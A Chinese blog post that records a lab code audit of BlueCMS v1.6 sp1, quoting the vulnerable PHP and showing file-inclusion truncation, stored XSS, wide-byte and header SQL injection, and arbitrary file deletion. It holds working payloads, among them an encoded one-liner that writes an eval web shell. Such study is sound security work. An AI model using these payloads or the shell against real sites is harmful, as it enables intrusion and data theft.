bluecms v1.6 sp1 代码审计学习

Posted 2021-03-02 bohb-yunying

前言

正式开始代码审计的学习，拓宽自己的知识面。代码审计学习的动力也是来自团队里的王叹之师傅，向王叹之师傅学习。

这里参考了一些前辈，师傅的复现经验和bluecms审计的心得

安装

install.php

 

 

搭建完成

seay自动审计

 

 

文件包含漏洞

/user.php

742-751行

 elseif ($act == ‘pay‘){
     include ‘data/pay.cache.php‘;
     $price = $_POST[‘price‘];
     $id = $_POST[‘id‘];
     $name = $_POST[‘name‘];
     if (empty($_POST[‘pay‘])) {
         showmsg(‘对不起，您没有选择支付方式‘);
     }
     include ‘include/payment/‘.$_POST[‘pay‘]."/index.php";
 }

这里直接包含post

这里我们先注册一个用户

账号test 密码test123，进入user.php页面

追踪下act变量

act对应的一些操作模式，比如登陆，删除，修改个人资料，对应的模式。这里购买一张便民卡，然后选择支付。抓包

 

 

这里我们可以通过post传参pay控制文件包含的路径，但是后面拼接了/index.php

有两种方法可以截断：

方法1:

绕过方法1：%00 截断

　　条件：magic_quotes_gpc = Off PHP 版本<5.3.4

　　测试：？filename=../../../../../../boot.ini%00

方法2:

绕过方法2：路径长度截断

　　条件：windows下目录路径最大长度为256字节，超出部分将丢弃；

 　　　　  Linux下目录最大长度为4096字节，超出长度将丢弃

　　测试：?filename=text.txt././././.  或?filename=test.txt.....

这里可以用pay=../../phpi.txt.........(省略.)绕过，可以在windows本地尝试创建一个test.txt...........(省略.)，可以发现最后文件名还是test.txt

这里可以利用windows的路径特性来截断=>Windows的路径不能超过256个字符

参考=>https://www.cnblogs.com/appear001/p/11149996.html

并且这里为了验证，我在根目录放置了phpi.txt文件

<?php phpinfo();

发现并没有包含，截断失败

通过joychou师傅的文章发现也是有版本限制的。

phpstudy修改成5.3.29继续尝试=>仍然无法利用。继续降低版本至5.2.17

这时候发现可以成功包含。

个人资料中可以上传个人头像

查看下路径

文件包含图片马

看师傅们的文章中还有一种方法就是包含重新写入一个马

<?php @fputs(fopen(base64_decode(‘bG9zdC5waHA=‘),w),base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==‘));?>

因为这样包含的shell，用菜刀或者蚁剑管理起来，参数很麻烦，不如直接包含写马的操作。学习到了。

XSS漏洞

发布新闻

黑盒测试，个人资料中，有一处本地新闻，可以发布新闻和管理新闻。

但是这里不能选择新闻分类，我们用管理员进入/admin后台发布下栏目分类

 

 

查看新闻，发现没有弹框，编辑html元素查看，已经转义实体化了

通过 burp抓包再结合白盒审计

$title = !empty($_POST[‘title‘]) ? htmlspecialchars(trim($_POST[‘title‘])) : ‘‘;
     $color = !empty($_POST[‘color‘]) ? htmlspecialchars(trim($_POST[‘color‘])) : ‘‘;
     $cid = !empty($_POST[‘cid‘]) ? intval($_POST[‘cid‘]) : ‘‘;
     if(empty($cid)){
         showmsg(‘新闻分类不能为空‘);
     }
     $author = !empty($_POST[‘author‘]) ? htmlspecialchars(trim($_POST[‘author‘])) : $_SESSION[‘admin_name‘];
     $source = !empty($_POST[‘source‘]) ? htmlspecialchars(trim($_POST[‘source‘])) : ‘‘;
    $content = !empty($_POST[‘content‘]) ? filter_data($_POST[‘content‘]) : ‘‘;
    $descript = !empty($_POST[‘descript‘]) ? mb_substr($_POST[‘descript‘], 0, 90) : mb_substr(html2text($_POST[‘content‘]),0, 90);
     if(isset($_FILES[‘lit_pic‘][‘error‘]) && $_FILES[‘lit_pic‘][‘error‘] == 0){
        $lit_pic = $image->img_upload($_FILES[‘lit_pic‘],‘lit_pic‘);

发现title=>标题,color=>颜色,author=>作者,source=>来源，都使用了htmlspecialchars转义(第二个参数如果是默认的话，是不转义单引号的)

这里可以从content下手，也就是新闻内容。定位下filter_data函数

function filter_data($str)
{
    $str = preg_replace("/<(/?)(script|i?frame|meta|link)(s*)[^<]*>/", "", $str);
    return $str;
}

过滤了script,iframe,frame,meta,link等

这里可以用a,img标签等绕过

这里必须要抓包，这里自动转义了下。修改为原来的

 

<a href=javascript:alert(1)>yunying</a>

点击链接，弹框。并且这是存储型的

再把payload修改成

<img src=1 onerror=alert(1)>

再去看了下评论功能是否存在

 

 

经过了转义。

用户注册

写完后去对了下很多师傅的审计记录，发现账户注册存在xss。

直接出入不存在过滤

$user_name = !empty($_POST[‘user_name‘]) ? trim($_POST[‘user_name‘]) : ‘‘;
$pwd = !empty($_POST[‘pwd‘]) ? trim($_POST[‘pwd‘]) : ‘‘;
$pwd1 = !empty($_POST[‘pwd1‘]) ? trim($_POST[‘pwd1‘]) : ‘‘;
$email = !empty($_POST[‘email‘]) ? trim($_POST[‘email‘]) : ‘‘;
$safecode = !empty($_POST[‘safecode‘]) ? trim($_POST[‘safecode‘]) : ‘‘;

这里用户名有长度限制，用邮箱打可以实现存储xss

 

SQL注入

ad_js.php

12-19行

$ad_id = !empty($_GET[‘ad_id‘]) ? trim($_GET[‘ad_id‘]) : ‘‘;
if(empty($ad_id))
{
    echo ‘Error!‘;
    exit();
}

$ad = $db->getone("SELECT * FROM ".table(‘ad‘)." WHERE ad_id =".$ad_id);

这里没有引号保护，直接带入，除了trim去掉两边空格，没有任何的过滤。

可以直接带入查询

$db跟踪，来自于包含的/include/common.inc.php

建立数据库连接的一句话

getone是mysql类的中的方法，简单的查询

而且在定义mysql类的mysq.class.php中

设置了GBK编码

并且有回显。输出的方式是这样的

输出的ad_content，看一下ad_content在哪里,对于end_time，可能赋值为exp_content字段，也可能是content，我们用phpmyadmin登陆查看

在第六列和第七列都插入注入数据

用户注册

看了下王叹之师傅的博客，发现用户注册的那里不仅可以xss，insert into也可以进行宽字节注入。

%df‘,1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

后台登陆

后台登陆也存在宽字节注入，在/admin/login.php中存在check_admin，检查是否是admin的函数

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table(‘admin‘)." WHERE admin_name=‘$name‘ and pwd = md5(‘$pwd‘)");
     if($row[‘num‘] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

直接带入，但是包含了/admin/include/common.inc.php

if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }

这里是经过转义的，而且开了GBK，就存在宽字节注入了。在/admin/login.php注入

当我输入如下payload

 

 

 

自动对‘进行了转义，更能证明了存在宽字节注入

正确payload:

 

 

 

留言板(XFF头注入)

/comment.php

我们全文追踪getip函数

发现有插入的数据，这里也跟上面的一样，在评论处comment.php存在插入ip到数据库。

再查看有没有调用online_ip的地方

/guest_book.php

guest_book.php是留言列表，而comment.php是发表新闻下的评论

这里就实验下guest_book.php

闭合 ‘ 和 )

 

 

还有一些没有过滤直接拼接的在admin页面，后台中。这里就不赘述了，可以看下王叹之师傅的博客。

任意文件删除

/user.php

if (!empty($_POST[‘face_pic1‘])){
        if (strpos($_POST[‘face_pic1‘], ‘http://‘) != false && strpos($_POST[‘face_pic1‘], ‘https://‘) != false){
           showmsg(‘只支持本站相对路径地址‘);
         }
        else{
           $face_pic = trim($_POST[‘face_pic1‘]);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST[‘face_pic3‘])){
            @unlink(BLUE_ROOT.$_POST[‘face_pic3‘]);
        }
    }

face_pic1是用户头像，face_pic3是一个隐藏的表单值。调用unlink可以达到删除任意文件

比如删除robots.txt

抓包修改

在user.php页面继续查找unlink函数

 elseif ($act == ‘del_news‘) {
     if (empty($_GET[‘id‘])) {
         return false;
     }
     $news = $db->getone("SELECT user_id, lit_pic FROM ".table(‘article‘)." WHERE id=".intval($_GET[‘id‘]));
     if ($_SESSION[‘user_id‘] != $news[‘user_id‘]) {
         showmsg(‘对不起，您没有权限删除这条新闻‘, ‘user.php?act=news_manage‘);
     }
     $sql = "DELETE FROM ".table(‘article‘)." WHERE id=".intval($_GET[‘id‘]);
     $db->query($sql);
     if (file_exists(BLUE_ROOT.$news[‘lit_pic‘])) {
         @unlink(BLUE_ROOT.$news[‘list_pic‘]);
     }
     showmsg(‘删除一条本地新闻成功‘, ‘user.php?act=news_manage‘);

这里实验发现不可以，因为有查询数据库操作，删除的是根据数据库中保存的路径。

继续查看

发现act=do_info_edit中存在任意文件删除漏洞

 

 

不过需要绕过一些验证，exp如下：

已经把phpi.txt删除

在/admin/article中也可以看到一摸一样的操作，也是任意文件删除。

对于文件删除漏洞，这里根据https://www.anquanke.com/post/id/156850/给出一些建议

1. 统一文件夹存放
2. 数据库记录存储路径
3. 对于入库记录进行严格的防注入和文件上传检测，采用白名单方式来检查后缀，黑名单过滤上跳等操作，严格做到数据库与文件同步
4. 能用云存储就用，实在不能用在自己写
5. 尽量少的使用文件删除功能

还有很多没有写出来的，这里就不一一列举了，用seay可以发现大量的漏洞提示，但是还是需要自己去一一验证。

说一下下一个cms怎么审计：
1：首先不能盲目，记住Web漏洞的本质：存在用户的输入
应重点关注有输入点的页面，再去文件里找相关代码，不断回溯看看代码中有没有可控变量，过滤是否严谨。
2：可以全局搜索一下危险函数，如:unlink，include，move_uploaded_file函数等
查找相关漏洞可以去找关键字，如sql注入：
全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字
看看是否有预编译后再插入数据库。
比如上传，可以搜索一下upload，看看他的过滤规则。
多总结，多反思，先审计完再看网上文章，看看别的师傅怎么审计的，不断借鉴。

 

-->https://www.cnblogs.com/wangtanzhi/p/12302978.html#autoid-0-2-0